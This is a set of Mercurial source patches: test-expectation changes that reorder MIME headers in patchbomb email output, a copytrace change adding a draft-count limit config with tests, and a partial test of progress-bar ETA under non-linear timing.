   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -279,8 +279,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -375,8 +375,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   a multiline
@@ -420,8 +420,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   a multiline
@@ -453,8 +453,8 @@
   
   
   displaying [PATCH] utf-8 content ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 8bit
   Subject: [PATCH] utf-8 content
   X-Mercurial-Node: 909a00e13e9d78b575aeee23dddbada46d5a143f
@@ -499,8 +499,8 @@
 
   $ cat mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="utf-8"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: base64
   Subject: [PATCH] utf-8 content
   X-Mercurial-Node: 909a00e13e9d78b575aeee23dddbada46d5a143f
@@ -561,8 +561,8 @@
   
   
   displaying [PATCH] long line ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Subject: [PATCH] long line
   X-Mercurial-Node: a2ea8fc83dd8b93cfd86ac97b28287204ab806e1
@@ -615,8 +615,8 @@
   sending [PATCH] long line ...
   $ cat mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Subject: [PATCH] long line
   X-Mercurial-Node: a2ea8fc83dd8b93cfd86ac97b28287204ab806e1
@@ -677,8 +677,8 @@
   sending [PATCH] isolatin 8-bit encoding ...
   $ cat mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="iso-8859-1"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Subject: [PATCH] isolatin 8-bit encoding
   X-Mercurial-Node: 240fb913fc1b7ff15ddb9f33e73d82bf5277c720
@@ -725,8 +725,8 @@
   are you sure you want to send (yn)? y
   
   displaying [PATCH] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -787,8 +787,8 @@
   are you sure you want to send (yn)? y
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -804,8 +804,8 @@
    2 files changed, 2 insertions(+), 0 deletions(-)
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -840,8 +840,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -897,8 +897,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=t2.patch
   
@@ -940,8 +940,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Content-Disposition: inline; filename=t2.patch
   
@@ -987,8 +987,8 @@
   
   
   displaying [PATCH 0 of 3] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 3] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1017,8 +1017,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=t2-1.patch
   
@@ -1055,8 +1055,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=t2-2.patch
   
@@ -1093,8 +1093,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Content-Disposition: inline; filename=t2-3.patch
   
@@ -1151,8 +1151,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1160,8 +1160,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: attachment; filename=t2.patch
   
@@ -1202,8 +1202,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1211,8 +1211,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Content-Disposition: attachment; filename=t2.patch
   
@@ -1269,8 +1269,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   # HG changeset patch
@@ -1288,8 +1288,8 @@
   +c
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: attachment; filename=t2.patch
   
@@ -1319,8 +1319,8 @@
   
   
   displaying [PATCH 0 of 3] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 3] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1349,8 +1349,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1358,8 +1358,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: attachment; filename=t2-1.patch
   
@@ -1396,8 +1396,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1405,8 +1405,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: attachment; filename=t2-2.patch
   
@@ -1443,8 +1443,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1452,8 +1452,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Content-Disposition: attachment; filename=t2-3.patch
   
@@ -1499,8 +1499,8 @@
   
   
   displaying [PATCH 0 of 1] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 1] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1512,8 +1512,8 @@
   
   
   displaying [PATCH 1 of 1] c ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 1] c
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -1552,8 +1552,8 @@
   
   
   displaying [PATCH 0 of 1] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 1] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1566,8 +1566,8 @@
   foo
   
   displaying [PATCH 1 of 1] c ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 1] c
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -1608,8 +1608,8 @@
   
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1621,8 +1621,8 @@
   
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -1653,8 +1653,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -1692,8 +1692,8 @@
   
   
   displaying [PATCH] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -1730,8 +1730,8 @@
   
   
   displaying [PATCH] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -1788,8 +1788,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=two.diff
   
@@ -1819,8 +1819,8 @@
   
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -1849,8 +1849,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=t2-1.patch
   
@@ -1887,8 +1887,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=one.patch
   
@@ -1916,8 +1916,8 @@
   
   
   displaying [PATCH] Added tag two, two.diff for changeset ff2c9fa2018b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] Added tag two, two.diff for changeset ff2c9fa2018b
   X-Mercurial-Node: 7aead2484924c445ad8ce2613df91f52f9e502ed
@@ -1959,8 +1959,8 @@
   (optional) Subject: [PATCH 0 of 2] 
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -1991,8 +1991,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -2034,8 +2034,8 @@
   
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -2049,8 +2049,8 @@
   
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2081,8 +2081,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -2122,8 +2122,8 @@
   
   
   displaying [PATCH fooFlag] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH fooFlag] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -2163,8 +2163,8 @@
   
   
   displaying [PATCH 0 of 2 fooFlag] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2 fooFlag] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -2176,8 +2176,8 @@
   
   
   displaying [PATCH 1 of 2 fooFlag] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2 fooFlag] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2208,8 +2208,8 @@
   +a
   
   displaying [PATCH 2 of 2 fooFlag] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2 fooFlag] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -2249,8 +2249,8 @@
   
   
   displaying [PATCH fooFlag barFlag] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH fooFlag barFlag] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -2289,8 +2289,8 @@
   
   
   displaying [PATCH 0 of 2 fooFlag barFlag] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2 fooFlag barFlag] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -2302,8 +2302,8 @@
   
   
   displaying [PATCH 1 of 2 fooFlag barFlag] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2 fooFlag barFlag] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2334,8 +2334,8 @@
   +a
   
   displaying [PATCH 2 of 2 fooFlag barFlag] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2 fooFlag barFlag] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -2376,8 +2376,8 @@
   sending [PATCH] test ...
   $ cat < tmp.mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2418,8 +2418,8 @@
   Cc: 
   
   displaying [PATCH 0 of 2 R1] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2 R1] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -2431,8 +2431,8 @@
   foo
   
   displaying [PATCH 1 of 2 R0] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2 R0] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2462,8 +2462,8 @@
   +a
   
   displaying [PATCH 2 of 2 R1] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2 R1] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -2501,8 +2501,8 @@
   Cc: 
   
   displaying [PATCH default V2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH default V2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2543,8 +2543,8 @@
 
   $ cat tmp.mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -2621,8 +2621,8 @@
   Cc: 
   
   displaying [PATCH 0 of 6] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 6] test
   Message-Id: <patchbomb.315532860@*> (glob)
@@ -2633,8 +2633,8 @@
   
   
   displaying [PATCH 1 of 6] c ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 6] c
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -2664,8 +2664,8 @@
   +c
   
   displaying [PATCH 2 of 6] utf-8 content ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 8bit
   Subject: [PATCH 2 of 6] utf-8 content
   X-Mercurial-Node: 909a00e13e9d78b575aeee23dddbada46d5a143f
@@ -2702,8 +2702,8 @@
   +h\xc3\xb6mma! (esc)
   
   displaying [PATCH 3 of 6] long line ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Subject: [PATCH 3 of 6] long line
   X-Mercurial-Node: a2ea8fc83dd8b93cfd86ac97b28287204ab806e1
@@ -2749,8 +2749,8 @@
   +bar
   
   displaying [PATCH 4 of 6] isolatin 8-bit encoding ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 8bit
   Subject: [PATCH 4 of 6] isolatin 8-bit encoding
   X-Mercurial-Node: 240fb913fc1b7ff15ddb9f33e73d82bf5277c720
@@ -2780,8 +2780,8 @@
   +h\xf6mma! (esc)
   
   displaying [PATCH 5 of 6] Added tag zero, zero.foo for changeset 8580ff50825a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 5 of 6] Added tag zero, zero.foo for changeset 8580ff50825a
   X-Mercurial-Node: 5d5ef15dfe5e7bd3a4ee154b5fff76c7945ec433
@@ -2812,8 +2812,8 @@
   +8580ff50825a50c8f716709acdf8de0deddcd6ab zero.foo
   
   displaying [PATCH 6 of 6] d ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 6 of 6] d
   X-Mercurial-Node: 2f9fa9b998c5fe3ac2bd9a2b14bfcbeecbc7c268
@@ -2857,8 +2857,8 @@
   
   
   displaying [PATCH] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: 2f9fa9b998c5fe3ac2bd9a2b14bfcbeecbc7c268
@@ -2992,8 +2992,8 @@
   warning: invalid patchbomb.intro value "mpmwearaclownnose"
   (should be one of always, never, auto)
   -f test foo
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: 3b6f1ec9dde933a40a115a7990f8b320477231af
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1505989724 -19800
#      Thu Sep 21 15:58:44 2017 +0530
# Node ID 1826d695ad58194cdc90876699ed44cbdf792fda
# Parent  2d0c306a88c226d96cf29036b6d6b08bd0abc3b4
copytrace: add a a new config to limit the number of drafts in heuristics

The heuristics options tries to the default full copytracing algorithm if both
the source and destination branches contains of non-public changesets only. But
this can be slow in cases when we have a lot of drafts.

This patch adds a new config option experimental.copytrace.sourcecommitlimit
which defaults to 100. This value will be the limit of number of drafts from c1
to base. Incase there are more changesets even though they are draft, the
heuristics algorithm will be used.

Differential Revision: https://phab.mercurial-scm.org/D763

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -176,6 +176,9 @@
 coreconfigitem('experimental', 'copytrace',
     default='on',
 )
+coreconfigitem('experimental', 'copytrace.sourcecommitlimit',
+    default=100,
+)
 coreconfigitem('experimental', 'crecordtest',
     default=None,
 )
diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -371,22 +371,27 @@
         # Do full copytracing if only drafts are involved as that will be fast
         # enough and will also cover the copies which can be missed by
         # heuristics
-        if _isfullcopytraceable(c1, base):
+        if _isfullcopytraceable(repo, c1, base):
             return _fullcopytracing(repo, c1, c2, base)
         return _heuristicscopytracing(repo, c1, c2, base)
     else:
         return _fullcopytracing(repo, c1, c2, base)
 
-def _isfullcopytraceable(c1, base):
+def _isfullcopytraceable(repo, c1, base):
     """ Checks that if base, source and destination are all draft branches, if
     yes let's use the full copytrace algorithm for increased capabilities since
     it will be fast enough.
     """
+    if c1.rev() is None:
+        c1 = c1.p1()
 
     nonpublicphases = set([phases.draft, phases.secret])
 
     if (c1.phase() in nonpublicphases) and (base.phase() in nonpublicphases):
-        return True
+        sourcecommitlimit = repo.ui.configint('experimental',
+                                              'copytrace.sourcecommitlimit')
+        commits = len(repo.revs('%d::%d', base.rev(), c1.rev()))
+        return commits < sourcecommitlimit
     return False
 
 def _fullcopytracing(repo, c1, c2, base):
diff --git a/tests/test-copytrace-heuristics.t b/tests/test-copytrace-heuristics.t
--- a/tests/test-copytrace-heuristics.t
+++ b/tests/test-copytrace-heuristics.t
@@ -665,3 +665,50 @@
   dummy
   $ rm -rf server
   $ rm -rf repo
+
+Testing the sourcecommitlimit config
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg ci -Aqm "added a"
+  $ echo "more things" >> a
+  $ hg ci -qm "added more things to a"
+  $ hg up 0
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ echo b > b
+  $ hg ci -Aqm "added b"
+  $ mkdir foo
+  $ hg mv a foo/bar
+  $ hg ci -m "Moved a to foo/bar"
+  $ hg log -G -T 'changeset {node}\n desc {desc}, phase: {phase}\n'
+  @  changeset b4b0f7880e500b5c364a5f07b4a2b167de7a6fb0
+  |   desc Moved a to foo/bar, phase: draft
+  o  changeset 5f6d8a4bf34ab274ccc9f631c2536964b8a3666d
+  |   desc added b, phase: draft
+  | o  changeset 8b6e13696c38e8445a759516474640c2f8dddef6
+  |/    desc added more things to a, phase: draft
+  o  changeset 9092f1db7931481f93b37d5c9fbcfc341bcd7318
+      desc added a, phase: draft
+
+When the sourcecommitlimit is small and we have more drafts, we use heuristics only
+
+  $ hg rebase -s 8b6e13696 -d . --config experimental.copytrace.sourcecommitlimit=0
+  rebasing 1:8b6e13696c38 "added more things to a"
+  other [source] changed a which local [dest] deleted
+  use (c)hanged version, leave (d)eleted, or leave (u)nresolved? u
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+But when we have "sourcecommitlimit > (no. of drafts from base to c1)", we do
+fullcopytracing
+
+  $ hg rebase --abort
+  rebase aborted
+  $ hg rebase -s 8b6e13696 -d .
+  rebasing 1:8b6e13696c38 "added more things to a"
+  merging foo/bar and a to foo/bar
+  saved backup bundle to $TESTTMP/repo/repo/repo/.hg/strip-backup/8b6e13696c38-fc14ac83-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf repo
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506455295 25200
#      Tue Sep 26 12:48:15 2017 -0700
# Node ID d64c2c050b54794ba117d622df729679b928039f
# Parent  1826d695ad58194cdc90876699ed44cbdf792fda
progress: demonstrate non-linear progress has a bad ETA experience

Previously, the ETA and speed assumes the progress is linear. Often, due to
network or other issues, it could be fast for the most time, and suddenly
slow down:

    [====================================================>         ]
     \___________________________________________/\______/
        very fast                                  suddenly much slower

This patch adds a test demonstrating the ETA could be way off in those
cases.

Differential Revision: https://phab.mercurial-scm.org/D819

diff --git a/tests/test-progress.t b/tests/test-progress.t
--- a/tests/test-progress.t
+++ b/tests/test-progress.t
@@ -192,13 +192,15 @@
   > class mocktime(object):
   >     def __init__(self, increment):
   >         self.time = 0
-  >         self.increment = increment
+  >         self.increment = [int(s) for s in increment.split()]
+  >         self.pos = 0
   >     def __call__(self):
-  >         self.time += self.increment
+  >         self.time += self.increment[self.pos % len(self.increment)]
+  >         self.pos += 1
   >         return self.time
   > 
   > def uisetup(ui):
-  >     time.time = mocktime(int(os.environ.get('MOCKTIME', '11')))
+  >     time.time = mocktime(os.environ.get('MOCKTIME', '11'))
   > EOF
 
   $ cp $HGRCPATH.orig $HGRCPATH
@@ -246,6 +248,31 @@
   loop [=============================>           ] 3/4 23w02d\r (no-eol) (esc)
                                                               \r (no-eol) (esc)
 
+Non-linear progress:
+
+  $ MOCKTIME='20 20 20 20 20 20 20 20 20 20 500 500 500 500 500 20 20 20 20 20' hg -y loop 20
+  \r (no-eol) (esc)
+  loop [=>                                      ]  1/20 6m21s\r (no-eol) (esc)
+  loop [===>                                    ]  2/20 6m01s\r (no-eol) (esc)
+  loop [=====>                                  ]  3/20 5m41s\r (no-eol) (esc)
+  loop [=======>                                ]  4/20 5m21s\r (no-eol) (esc)
+  loop [=========>                              ]  5/20 5m01s\r (no-eol) (esc)
+  loop [===========>                            ]  6/20 4m41s\r (no-eol) (esc)
+  loop [=============>                          ]  7/20 4m21s\r (no-eol) (esc)
